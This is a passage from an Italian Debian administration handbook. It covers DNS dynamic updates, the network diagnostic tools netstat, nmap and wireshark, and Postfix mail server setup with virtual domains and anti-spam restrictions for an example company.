Nel caso di bind (vedere Sezione 10.7.1, «software DNS»), la direttiva allow-update deve essere aggiunta in ciascuna delle zone che il server DHCP deve modificare (quella per il dominio internal.falcot.com e la sua zona inversa). Questa direttiva elenca gli indirizzi IP autorizzati ad effettuare questi aggiornamenti. Pertanto dovrebbe contenere i possibili indirizzi del server DHCP (sia l'indirizzo locale che l'indirizzo pubblico, se opportuno).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Attenzione! Una zona che può essere modificata verrà modificata tramite bind, quest'ultimo sovrascriverà i file di configurazione a intervalli regolari. Poiché questa procedura automatizzata produce file che sono meno leggibili rispetto a quelli scritti manualmente, gli amministratori Falcot gestiscono il dominio internal.falcot.com con un server DNS delegato; questo significa che il file di zona falcot.com resta saldamente sotto il loro controllo manuale.

L'esempio di configurazione del server DHCP precedente include già le direttive necessarie per gli aggiornamenti della zona DNS: sono le righe ddns-update-style interim; e ddns-domain-name "internal.falcot.com";.

10.9. Strumenti di diagnosi di rete

Quando un'applicazione di rete non funziona come previsto, è importante poter vedere "sotto il cofano". Anche quando tutto sembra funzionare senza problemi, l'esecuzione di una diagnosi di rete può contribuire a garantire che tutto funzioni come dovrebbe. Esistono diversi strumenti di diagnosi per tale scopo; ognuno opera su un livello diverso. La discussione di tutti gli strumenti è oltre lo scopo di questo libro, così, nelle sezioni successive, ci si focalizzerà sullo strumento più conosciuto e comunemente usato.

10.9.1. Diagnosi locale: netstat

Menzioniamo per primo il comando netstat (nel pacchetto net-tools), che mostra una sintesi immediata delle attività di rete di una macchina. Quando viene invocato senza alcun argomento, questo comando elenca tutte le connessioni aperte. L'elenco può essere molto dettagliato poiché comprende numerosi socket di dominio Unix (ampiamente utilizzati dai demoni), che non coinvolgono affatto la rete (per esempio, la comunicazione dbus, il traffico X11 e le comunicazioni tra i filesystem virtuali e desktop).

Pertanto, invocazioni comuni utilizzano opzioni che alterano il comportamento di netstat. Le opzioni utilizzate più frequentemente sono:

-t, che filtra i risultati per includere solo le connessioni TCP;

-u, che funziona in modo analogo per le connessioni UDP; queste opzioni non si escludono a vicenda, e una di loro è sufficiente per non visualizzare le connessioni di dominio Unix;

-a, per elencare anche i socket in ascolto (in attesa di connessioni in ingresso);

-n, per visualizzare i risultati in forma numerica: gli indirizzi IP (senza risoluzione DNS), i numeri di porta (senza alias come definiti in /etc/services) e gli ID utente (senza nomi di login);

-p, per elencare i processi coinvolti; questa opzione è utile solo quando netstat viene eseguito come root, poiché gli utenti normali vedranno solo i propri processi;

-c, per aggiornare continuamente la lista delle connessioni.

Altre opzioni, documentate nella pagina di manuale netstat(8), forniscono un controllo più preciso sui risultati visualizzati. Nella pratica, le prime cinque opzioni sono utilizzate così spesso insieme che il comando netstat -tupan è diventato quasi un riflesso tra gli amministratori di sistema e di rete. Il risultato tipico, su una macchina con poco carico, può apparire come il seguente:

# netstat -tupan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 397/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 431/sshd tcp 0 0 0.0.0.0:36568 0.0.0.0:* LISTEN 407/rpc.statd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 762/exim4 tcp 0 272 192.168.1.242:22 192.168.1.129:44452 ESTABLISHED 1172/sshd: roland [ tcp6 0 0 :::111 :::* LISTEN 397/rpcbind tcp6 0 0 :::22 :::* LISTEN 431/sshd tcp6 0 0 ::1:25 :::* LISTEN 762/exim4 tcp6 0 0 :::35210 :::* LISTEN 407/rpc.statd udp 0 0 0.0.0.0:39376 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:996 0.0.0.0:* 397/rpcbind udp 0 0 127.0.0.1:1007 0.0.0.0:* 407/rpc.statd udp 0 0 0.0.0.0:68 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:48720 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:111 0.0.0.0:* 397/rpcbind udp 0 0 192.168.1.242:123 0.0.0.0:* 539/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:5353 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:39172 0.0.0.0:* 407/rpc.statd udp6 0 0 :::996 :::* 397/rpcbind udp6 0 0 :::34277 :::* 407/rpc.statd udp6 0 0 :::54852 :::* 916/dhclient udp6 0 0 :::111 :::* 397/rpcbind udp6 0 0 :::38007 :::* 451/avahi-daemon: r udp6 0 0 fe80::5054:ff:fe99::123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:a:123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:5:123 :::* 539/ntpd udp6 0 0 ::1:123 :::* 539/ntpd udp6 0 0 :::123 :::* 539/ntpd udp6 0 0 :::5353 :::* 451/avahi-daemon: r

Come previsto, vengono elencate le connessioni stabilite, due connessioni SSH in questo caso, e le applicazioni in attesa di connessioni in ingresso (indicate come LISTEN), in particolare il server di posta elettronica Exim4 in ascolto sulla porta 25.

10.9.2. Diagnosi da remoto: nmap

nmap (nel pacchetto dal nome analogo) è in un certo senso l'equivalente remoto di netstat. Può eseguire la scansione di una serie di porte "note" per uno o più server remoti, ed elencare le porte su cui un'applicazione risponde alle connessioni in ingresso. Inoltre, nmap è in grado di identificare alcune di queste applicazioni e a volte anche il loro numero di versione. La contropartita di questo strumento è che, poiché funziona da remoto, non può fornire informazioni su processi o utenti; tuttavia può operare su più target contemporaneamente.

Una tipica invocazione di nmap utilizza solo l'opzione -A (in questo modo nmap tenta di identificare le versioni del software per i server che trova), seguita da uno o più indirizzi IP o dai nomi DNS di macchine su cui effettuare la scansione. Ancora una volta, sono disponibili molte altre opzioni per controllare con precisione il comportamento di nmap; consultare la documentazione nella pagina di manuale nmap(1).

# nmap debian Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:58 CET Nmap scan report for debian (192.168.122.57) Host is up (0.000087s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 79/tcp open finger 80/tcp open http 113/tcp open ident Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds # nmap -A localhost nmap -A localhost Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:56 CET Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 83.33% done; ETC: 20:57 (0:00:15 remaining) Nmap scan report for localhost (127.0.0.1) Host is up (0.000086s latency). Other addresses for localhost (not scanned): ::1 Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) |_auth-owners: foobar 25/tcp open smtp Postfix smtpd |_auth-owners: foobar |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Not valid before: 2022-02-22T14:48:42 |_Not valid after: 2032-02-20T14:48:42 |_ssl-date: TLS randomness does not represent time 79/tcp open finger? |_auth-owners: foobar |_finger: ERROR: Script execution failed (use -d to debug) 80/tcp open http Apache httpd 2.4.52 ((Debian)) |_auth-owners: foobar |_http-server-header: Apache/2.4.52 (Debian) |_http-title: Apache2 Debian Default Page: It works 113/tcp open ident Liedentd (Claimed user: foobar) |_auth-owners: foobar 631/tcp open ipp CUPS 2.3 |_auth-owners: foobar | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/2.3 IPP/2.1 |_http-title: Home - CUPS 2.3.3op2 Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 87.91 seconds

Come previsto, sono elencate, ad esempio, le applicazioni SSH, Apache e Postfix. Da notare che non tutte le applicazioni sono in ascolto su tutti gli indirizzi IP; poiché Postfix è accessibile solo sull'interfaccia di loopback lo, appare solo durante l'analisi di localhost e non durante la scansione di debian (che corrisponde all'interfaccia enp1s0 sulla stessa macchina).

10.9.3. Sniffer: tcpdump e wireshark

A volte si ha la necessità di osservare ciò che realmente transita sul cavo, pacchetto per pacchetto. In questi casi è richiesto un "analizzatore di frame", più noto come sniffer. Tale strumento rileva tutti i pacchetti che raggiungono una determinata interfaccia di rete e li visualizza in una maniera più facile da consultare.

Il venerabile strumento in questo settore è tcpdump, disponibile come strumento standard su una vasta gamma di piattaforme. Esso consente molte tipologie di cattura del traffico di rete, ma la rappresentazione di questo traffico resta piuttosto oscura. Pertanto non verrà approfondito.

Uno strumento più recente (e moderno), wireshark (nel pacchetto wireshark), è diventato il nuovo punto di riferimento nell'analisi del traffico di rete grazie ai suoi molti moduli di decodifica che permettono una analisi semplificata dei pacchetti catturati. I pacchetti vengono visualizzati graficamente con un'organizzazione in base ai livelli di protocollo. Questo consente all'utente di visualizzare tutti i protocolli coinvolti in un pacchetto. Ad esempio, prendendo un pacchetto contenente una richiesta HTTP, wireshark visualizza, separatamente, le informazioni relative al livello fisico, il livello Ethernet, le informazioni del pacchetto IP, i parametri di connessione TCP, ed infine la richiesta HTTP stessa.

Figura 10.1. L'analizzatore del traffico di rete wireshark

Nel nostro esempio, i pacchetti che viaggiano su SSH vengono filtrati (con il filtro !tcp.port == 22). Il pacchetto attualmente visualizzato è stato sviluppato sul livello di trasporto del protocollo SSHv2.

SUGGERIMENTO wireshark senza interfaccia grafica: tshark

Quando non si può eseguire un'interfaccia grafica, o non si vuole farlo per un qualsiasi motivo, esiste anche una versione solo testo di wireshark che va sotto il nome tshark (nel pacchetto separato tshark). La maggior parte delle funzioni di cattura e decodifica sono ancora disponibili, ma la mancanza di una interfaccia grafica limita necessariamente le interazioni con il programma (filtraggio dei pacchetti dopo che sono stati catturati, il monitoraggio di una determinata connessione TCP, e così via). Può comunque essere utilizzato come primo approccio. Se si vogliono fare altre manipolazioni e queste richiedono l'interfaccia grafica, i pacchetti possono essere salvati in un file e questo file può essere caricato in un wireshark con interfaccia grafica in esecuzione su un'altra macchina.

Capitolo 11. Servizi di rete: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

I servizi di rete sono i programmi con cui gli utenti interagiscono direttamente durante le loro attività quotidiane. Essi sono la punta dell'iceberg del sistema informativo ed in questo capitolo ci concentreremo su di loro; le componenti invisibili a cui si affidano sono l'infrastruttura che abbiamo descritto precedentemente. Di solito richiedono la tecnologia di crittografia descritta in Sezione 10.2, «Certificati X.509».

11.1. Server di posta

Gli amministratori della Falcot Corporation hanno scelto Postfix come loro server di posta elettronica per via della sua affidabilità e per la semplicità di configurazione. Allo stesso modo il suo design assicura che ogni operazione sia eseguita in un processo con l'insieme minimo di permessi richiesti, cosa che garantisce una misura ottimale contro i problemi di sicurezza.

ALTERNATIVA Il server Exim4

Debian utilizza Exim4 come server di posta predefinito (per questo l'installazione iniziale include Exim4). La configurazione è fornita da un pacchetto separato, exim4-config, e viene automaticamente personalizzata in base alle risposte fornite ad un insieme di quesiti posti da Debconf in modo molto simile a come avviene con le domande poste dal pacchetto postfix.

La configurazione può essere in un singolo file (/etc/exim4/exim4.conf.template) oppure suddivisa in parti all'interno della cartella /etc/exim4/conf.d/. In entrambi i casi, i file non sono utilizzati da update-exim4.conf come modelli per la generazione di /var/lib/exim4/config.autogenerated. Quest'ultimo è utilizzato da Exim4. Grazie a questo meccanismo, i valori ottenuti attraverso la configurazione debconf di Exim — che sono memorizzati in /etc/exim4/update-exim4.conf.conf — possono essere inseriti nel file di configurazione di Exim anche quando l'amministratore oppure un'altro pacchetto hanno cambiato la configurazione predefinita di Exim.

La sintassi dei file di configurazione di Exim4 ha le sue peculiarità e la sua curva di apprendimento. Una volta comprese queste peculiarità Exim4 è un server di posta veramente completo e potente come testimoniano le decine di pagine di documentazione.

→ https://www.exim.org/docs.html

11.1.1. Installare Postfix

Il pacchetto postfix include il demone SMTP principale. Altri pacchetti (come postfix-ldap e postfix-pgsql) aggiungono funzionalità addizionali a Postfix, incluso l'accesso ai database di mappatura. Dovrebbero essere installati solo se si ritiene di averne bisogno.

FONDAMENTALE SMTP

SMTP (Simple Mail Transfer Protocol, RFC 5321) è il protocollo utilizzato dai server di posta per scambiare ed instradare le email.

Saranno posti diversi quesiti Defconf durante l'installazione del pacchetto. Le risposte consentono di generare una prima versione del file di configurazione /etc/postfix/main.cf.

La prima domanda riguarda la tipologia di configurazione. Solo due delle risposte proposte sono rilevanti nel caso in cui il server sia connesso ad Internet: "Sito internet" e "Sito internet con smarthost". La prima opzione è appropriata per un server che riceve la posta in arrivo ed invia le email in uscita direttamente ai rispettivi destinatari: pertanto si adatta bene al caso della Falcot Corporation. La seconda opzione è appropriata per un server che riceve le email in arrivo normalmente ma che invia le email in uscita attraverso un server SMTP intermedio, lo "smarthost", anziché consegnarle direttamente al server del destinatario. Questo è particolarmente utile per chi ha con un indirizzo IP dinamico poiché molti server di posta rifiutano i messaggi che arrivano direttamente da questo tipo di indirizzo. In questo caso lo smarthost sarà generalmente il server SMTP dell'ISP che a sua volta è configurato per accettare ed inoltrare in modo appropriato le email provenienti dai clienti. Questo tipo di configurazione (con smarthost) è rilevante anche per i server che non sono costantemente connessi ad internet poiché evita di dover gestire una coda di messaggi non consegnabili da dover riprovare a inviare in seguito.

VOCABOLARIO ISP

ISP è l'acronimo di "Internet Service Provider". Rappresenta un'entità, spesso un'azienda, che fornisce connessioni ad Internet ed i servizi base correlati (email, news e così via).

La seconda domanda riguarda il nome completo della macchina, utilizzato per generare gli indirizzi email a partire dal nome utente locale. Il nome completo della macchina appare dopo la chiocciola ("@"). Nel caso della Falcot, la risposta dovrebbe essere mail.falcot.com. Questa è l'unica domanda posta in via predefinita tuttavia la configurazione a cui porta non è sufficientemente completa per le necessità della Falcot: per questo motivo gli amministratori eseguono dpkg-reconfigure postfix per poter personalizzare altri parametri.

Una delle domande addizionali chiede tutti i nomi di dominio relativi alla macchina. La lista predefinita include il suo nome completo oltre ad alcuni sinonimi per localhost, ma il dominio principale falcot.com dev'essere aggiunto manualmente. Più generalmente, bisognerebbe rispondere a questa domanda con tutti i nomi di dominio per i quali la macchina agirà come server MX; in altre parole‍, tutti i nomi a dominio per cui il DNS dice che questa macchina accetterà email. Questa informazione finisce nella variabile mydestination del file di configurazione principale di Postfix, /etc/postfix/main.cf.

Figura 11.1. Ruolo del record MX nel DNS durante l'invio di un'email

EXTRA Interrogare i record MX

Quando il DNS non ha un record MX per un dominio, il server di posta tenterà di inviare i messaggi allo stesso host utilizzando il record A corrispondente (o AAAA in IPv6).

In alcuni casi l'installazione può anche chiedere quali reti devono essere autorizzate ad inviare email attraverso la macchina. Nella sua configurazione predefinita Postfix accetta unicamente email provenienti dalla macchina che lo ospita; la rete locale viene generalmente aggiunta. Gli amministratori della Falcot Corporation hanno aggiunto 192.168.0.0/16 alla risposta predefinita. Se la domanda non è posta, la relativa variabile nel file di configurazione è mynetworks come si vede nell'esempio qui sotto.

Le email locali possono anche essere consegnate con procmail. Questo strumento consente agli utenti di elaborare le loro email in arrivo attraverso le regole presenti nel file ~/.procmailrc. Sia Postfix che Exim4 suggeriscono procmail per impostazione predefinita, ma ci sono alternative come maildrop od i filtri Sieve.

Dopo questa prima fase gli amministratori dispongono del file di configurazione seguente; sarà utilizzato come punto di partenza per aggiungere alcune funzionalità addizionali nelle prossime sezioni.

Esempio 11.1. File /etc/postfix/main.cf iniziale

# See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on # fresh installs. compatibility_level = 2 # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_tls_security_level=may smtp_tls_CApath=/etc/ssl/certs smtp_tls_security_level=may smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination myhostname = mail.falcot.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all default_transport = smtp relay_transport = smtp inet_protocols = all myorigin = /etc/mailname

SICUREZZA Certificati SSL Snake oil

I certificati snake oil, come le "medicine" snake oil vendute da antichi ciarlatani, non hanno alcun valore: non si può fare affidamento su di loro per autenticare il server poiché sono generati automaticamente da certificati auto-firmati. Tuttavia, sono utili per migliorare la privacy degli scambi.

In generale dovrebbero essere usati solo per scopi di test, e il servizio normale deve usare certificati reali. L'iniziativa Let's encrypt offre certificati SSL/TLS gratuiti e affidabili, che possono essere generati utilizzando il pacchetto certbot come descritto in Sezione 11.2.2, «Aggiungere il supporto per SSL» ed utilizzati in postfix come questo:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt smtpd_tls_CApath = /etc/ssl/certs smtp_tls_CApath = /etc/ssl/certs

Un modo diverso per generare i propri certificati utilizzando la propria autorità di certificazione è descritto in Sezione 10.2.2, «Infrastruttura a chiave pubblica: easy-rsa».

11.1.2. Configurare i domini virtuali

Il server di posta può ricevere anche email indirizzate ad altri domini oltre a quello principale: questi domini sono indicati come domini "virtuali". In molti casi, dove ciò accade, le email non sono destinate ad utenti locali. Postfix fornisce due funzionalità interessanti per gestire i domini virtuali.

ATTENZIONE Domini virtuali e domini canonici

Nessuno dei domini virtuali dev'essere riportato nella variabile mydestination. Questa variabile contiene unicamente i nomi dei domini "canonici" direttamente associati alla macchina ed ai suoi utenti locali.

11.1.2.1. Domini virtuali alias

Un dominio virtuale alias contiene solo indirizzi alias, cioè indirizzi che si occupano di inoltrare le email ad altri indirizzi.

Questo tipo di dominio sarà abilitato aggiungendo il suo nome alla variabile virtual_alias_domains ed indicando un file di mappatura indirizzi nella variabile virtual_alias_maps.

virtual_alias_domains = falcotsbrand.com virtual_alias_maps = hash:/etc/postfix/virtual

Il file /etc/postfix/virtual descrive le mappature con una sintassi piuttosto lineare: ogni riga contiene due campi separati da uno spazio; il primo campo è il nome dell'alias, il secondo campo è una lista di indirizzi email a cui reindirizza. La sintassi speciale @domain.com copre tutti i restanti alias di un dominio.

webmaster@falcotsbrand.com jean@falcot.com contact@falcotsbrand.com laure@falcot.com, sophie@falcot.com # L'alias qui sotto è generico e copre tutti gli indirizzi all'interno # del dominio flacotsbrand.com che non sono altrimenti coperti in questo file. # Questi indirizzi inoltrano le email allo stesso utente nel # dominio falcot.com. @falcotsbrand.com @falcot.com

Dopo aver cambiato /etc/postfix/virtual la tabella postfix /etc/postfix/virtual.db deve essere aggiornata eseguendo sudo postmap /etc/postfix/virtual.

11.1.2.2. Caselle di posta su domini virtuali

ATTENZIONE Domini virtuali combinati?

Postfix non consente di utilizzare contemporaneamente lo stesso dominio in virtual_alias_domains e virtual_mailbox_domains. Comunque ogni dominio di virtual_mailbox_domains viene implicitamente incluso in virtual_alias_domains, cosa che permette di mescolare caselle ed alias all'interno di un dominio virtuale.

I messaggi indirizzati ad una casella su di un dominio virtuale sono conservati in caselle di posta non assegnate ad un utente locale del sistema.

Abilitare una casella di posta in un dominio virtuale richiede di inserire il dominio nella variabile virtual_mailbox_domains fornendo un file di mappatura caselle in virtual_mailbox_maps. Il parametro virtual_mailbox_base contiene la directory dove le caselle di posta saranno conservate.

virtual_mailbox_domains = falcot.org virtual_mailbox_maps = hash:/etc/postfix/vmailbox virtual_mailbox_base = /var/mail/vhosts

I parametri virtual_uid_maps e virtual_gid_maps forniscono le mappature tra un indirizzo email e l'utente di sistema (o gruppo rispettivamente) che "possiede" la casella di posta corrispondente. Per assegnare tutte le caselle di posta allo stesso proprietario/gruppo la sintassi è static:5000.

Ancora una volta, la sintassi del file /etc/postfix/vmailbox è piuttosto lineare: due campi separati da uno spazio. Il primo campo è un indirizzo email all'interno di uno dei domini virtuali e il secondo campo è la posizione della casella di posta associata (relativamente alla directory specificata in virtual_mailbox_base). Se il nome della casella di posta termina con una barra (/) le email saranno conservate nel formato maildir, diversamente sarà utilizzato il formato tradizionale mbox. Il formato di maildir utilizza l'intera directory per conservare una casella di posta: ogni messaggio sarà conservato in un file separato. Diversamente, nel formato mbox, l'intera casella di posta elettronica è conservata in un file ed ogni riga che comincia con "From " (From seguito da uno spazio) segnala l'inizio di un nuovo messaggio.

# La posta di Jean è conservata come maildir, con # un file per email in una directory dedicata jean@falcot.org falcot.org/jean/ # La posta di Sophie è conservata in un tradizionale file "mbox", # dove tutte le email sono concatenate in un unico file sophie@falcot.org falcot.org/sophie

11.1.3. Restrizioni per ricezione ed invio

Il crescente numero di email massive non richieste (spam) richiede di essere sempre più rigorosi quando si stabilisce quali email devono essere accettate da un server. Questa sezione presenta alcune tra le strategie incluse in Postfix.

Se le regole di rifiuto sono troppo rigide, può succedere che anche il traffico legittimo di email venga bloccato. È quindi una buona abitudine testare le restrizioni e prevenire il rifiuto permanente delle richieste durante questo periodo usando la direttiva soft_bounce = yes. Facendo precedere una direttiva di tipo reject da warn_if_reject verrà registrato solo un messaggio di log invece di rifiutare la richiesta.

CULTURA Il problema dello spam

"Spam" è un termine generico utilizzato per indicare tutte le email commerciali non richieste (note anche come UCE) che inondano le nostre caselle di posta elettronica; gli individui senza scrupoli che le inviano sono definiti spammer. Costoro si preoccupano poco del disturbo che causano perché inviare email costa poco e basta che una piccola percentuale di destinatari sia attratta dalle loro offerte perché l'operazione di spam produca più denaro di quanto sia costata. Il processo è quasi completamente automatizzato e qualsiasi indirizzo email reso pubblico (per esempio in un forum, negli archivi di una mailing list, in un blog, ecc.) sarà probabilmente individuato dai robot degli spammer e sottoposto ad un flusso infinito di messaggi non richiesti. Anche ogni contatto trovato in un sistema compromesso viene preso di mira.

Tutti gli amministratori di sistema tentano di affrontare questo disturbo con i filtri anti-spam, ma naturalmente gli spammer continuano a lavorare per aggirare questi filtri. Alcuni di loro prendono persino in affitto da varie organizzazioni criminali reti di macchine compromesse da worm. Recenti statistiche stimano che fino al 95% delle email in circolazione su Internet sono spam!

11.1.3.1. Restrizioni d'accesso basate su IP

La direttiva smtpd_client_restrictions controlla quali macchine sono autorizzate a comunicare con il server di posta.

Quando una variabile contiene una lista di regole, come nell'esempio qui sotto, queste regole sono valutate in ordine, dalla prima all'ultima. Ogni regola può accettare il messaggio, rifiutarlo o lasciare la decisione alla regola seguente. Come conseguenza l'ordine è importante ed invertire due regole può causare un comportamento molto diverso.

Esempio 11.2. Restrizioni basate sull'indirizzo del client

smtpd_client_restrictions = permit_mynetworks, warn_if_reject reject_unknown_client_hostname, check_client_access hash:/etc/postfix/access_clientip, reject_rhsbl_reverse_client dbl.spamhaus.org, reject_rhsbl_reverse_client rhsbl.sorbs.net, reject_rbl_client zen.spamhaus.org, reject_rbl_client dnsbl.sorbs.net

La direttiva permit_mynetworks usata come prima regola, accetta tutte le email provenienti da una macchina nella rete locale (così come definita nella variabile di configurazione mynetworks).

La seconda direttiva rifiuta, normalmente, le email provenienti da macchine che non dispongono di una configurazione DNS valida. Una configurazione è valida quando l'indirizzo IP può essere risolto con un nome e quest'ultimo, a sua volta, può essere risolto nell'indirizzo IP. Questa restrizione è spesso troppo rigorosa, poiché molti server di posta elettronica non dispongono di un indirizzo DNS inverso per il loro IP. Questo spiega perché gli amministratori della Falcot hanno inserito il parametro warn_if_reject prima della direttiva reject_unknown_client: tale parametro trasforma il rifiuto in un semplice avviso registrato nei log. Gli amministratori possono, quindi, tenere d'occhio il numero di messaggi che sarebbero rifiutati se la regola fosse applicata e decidere successivamente riguardo l'opportunità di abilitare questa restrizione.

SUGGERIMENTO Tabelle di accesso

I criteri di restrizione includono tabelle modificabili dall'amministratore che elencano combinazioni di mittenti, indirizzi IP e nomi host autorizzati oppure vietati. Queste tabelle possono essere create utilizzando una copia del file /usr/share/doc/postfix/examples/access fornito con il pacchetto postfix-doc, per le spiegazioni vedere access(5). Questo modello è documentato nei commenti interni, ovvero ogni tabella descrive la propria sintassi.

La tabella /etc/postfix/access_clientip elenca gli indirizzi IP e le reti; /etc/postfix/access_helo elenca i nomi di dominio; /etc/postfix/access_sender contiene gli indirizzi email dei mittenti. Tutti questi file necessitano di essere trasformati in tabelle-hash (un formato ottimizzato per l'accesso veloce) dopo ogni modifica, con il comando sudo postmap /etc/postfix/file.

La direttiva check_client_access consente all'amministratore di preparare una blacklist ed una whitelist di server di posta, memorizzate nel file /etc/postfix/access_clientip. I server nella whitelist sono considerati attendibili, quindi le email provenienti da questi non passano attraverso le successive regole di filtraggio.

Le ultime quattro regole rifiutano ogni messaggio proveniente da un server elencato in una delle blacklist indicate. RBL è l'acronimo di Remote Black List, e RHSBL sta per Right-Hand Side Black List. La differenza è che la prima elenca gli indirizzi IP, mentre la seconda elenca i nomi di dominio. Ci sono diversi servizi di questo tipo. Essi elencano domini ed indirizzi IP con una cattiva reputazione, server mal configurati che gli spammer utilizzano per inoltrare le loro email, così come macchine infettate da worm o virus usate per inoltrare la posta elettronica.

SUGGERIMENTO Whitelist e liste RBL

Le blacklist includono alle volte server legittimi che sono stati vittime di problemi. In queste situazioni, tutte le email che provengono da questi server saranno respinte a meno che il server non sia incluso in una whitelist definita da /etc/postfix/access_clientip.

La prudenza raccomanda di includere nella whitelist tutti i server da cui si ricevono generalmente molte email e che sono considerati affidabili.

11.1.3.2. Controllare la validità dei comandi EHLO o HELO

Ogni comunicazione SMTP inizia con un comando HELO (o EHLO), seguito dal nome del server di posta elettronica di invio. Controllare la validità di questo nome può essere interessante. Per far rispettare pienamente le restrizioni elencate in smtpd_helo_restrictions dev'essere abilitata l'opzione smtpd_helo_required. In caso contrario i client potrebbero saltare le restrizioni non inviando alcun comando HELO/EHLO.

Esempio 11.3. Restrizioni sul nome annunciato in EHLO

smtpd_helo_required = yes smtpd_helo_restrictions = permit_mynetworks, reject_invalid_helo_hostname, reject_non_fqdn_helo_hostname, warn_if_reject reject_unknown_helo_hostname, check_helo_access hash:/etc/postfix/access_helo, reject_rhsbl_helo multi.surbl.org

La prima direttiva permit_mynetworks consente a tutte le macchine nella rete locale di presentarsi liberamente. Questo è importante poiché molti programmi di posta non rispettano in modo adeguato questa parte del protocollo SMTP e possono presentarsi con nomi senza senso.

La regola reject_invalid_helo_hostname rifiuta le email quando l'annuncio EHLO elenca un nome host sintatticamente scorretto. La regola reject_non_fqdn_helo_hostname rifiuta i messaggi quando il nome host presentato non è un nome di dominio completamente qualificato (ovvero include il nome di dominio e il nome host). La regola reject_unknown_helo_hostname rifiuta i messaggi se il nome presentato non esiste nel DNS. Poiché quest'ultima regola, sfortunatamente, porta a molti rifiuti gli amministratori hanno trasformato il suo effetto in un semplice avviso usando il modificatore warn_if_reject come primo passo; possono decidere di rimuovere questo modificatore in una fase successiva, dopo aver verificato gli effetti di questa regola.

Il modificatore reject_rhsbl_helo permette di specificare una blacklist per controllare il nome dell'host rispetto a RHSBL.

Utilizzare permit_mynetworks come prima regola ha un interessante effetto collaterale: le regole seguenti si applicano unicamente agli host fuori dalla rete locale. Questo consente di inserire in blacklist tutti gli host che si presentano come parte della rete di falcot.com, per esempio aggiungendo la riga falcot.com REJECT Non sei nella nostra rete! al file /etc/postfix/access_helo.

11.1.3.3. Accettare o rifiutare i messaggi di posta elettronica in base al mittente annunciato

Ogni messaggio ha un mittente annunciato dal comando MAIL FROM del protocollo SMTP. Ancora una volta questa informazione può essere verificata in diversi modi.

Esempio 11.4. Controlli sul mittente

smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/access_sender, reject_unknown_sender_domain, reject_unlisted_sender, reject_non_fqdn_sender, reject_rhsbl_sender rhsbl.sorbs.net

La tabella /etc/postfix/access_sender mappa alcuni trattamenti speciali riservati ad alcuni mittenti. Generalmente questo significa elencare alcuni mittenti in una whitelist oppure in una blacklist.

La regola reject_unknown_sender_domain richiede un dominio valido per il mittente poiché è necessario per un indirizzo valido. La regola reject_unlisted_sender rifiuta i mittenti locali se l'indirizzo non esiste: questo impedisce alle email di essere inviate da un indirizzo non valido nel dominio falcot.com ed i messaggi originati da joe.bloggs@falcot.com sono accettati esclusivamente se questo indirizzo esiste realmente.

Per concludere, la regola reject_non_fqdn_sender rifiuta le email che si presume provengano da un indirizzo senza un nome di dominio pienamente qualificato. In pratica questo significa rifiutare email provenienti da utente@macchina: l'indirizzo dev'essere annunciato come utente@macchina.example.com o utente@example.com.

La regola reject_rhsbl_sender rifiuta i mittenti basandosi su un servizio RHSBL (basato sul dominio).

11.1.3.4. Accettare o rifiutare i messaggi di posta elettronica in base al destinatario

Ogni email ha almeno un destinatario, annunciato con il comando RCPT TO del protocollo SMTP. Anche questi indirizzi concorrono alla validazione del messaggio, tuttavia sono meno rilevanti rispetto ai controlli effettuati sull'indirizzo del mittente.

Esempio 11.5. Controlli sul destinatario

smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, reject_unlisted_recipient, reject_non_fqdn_recipient, permit

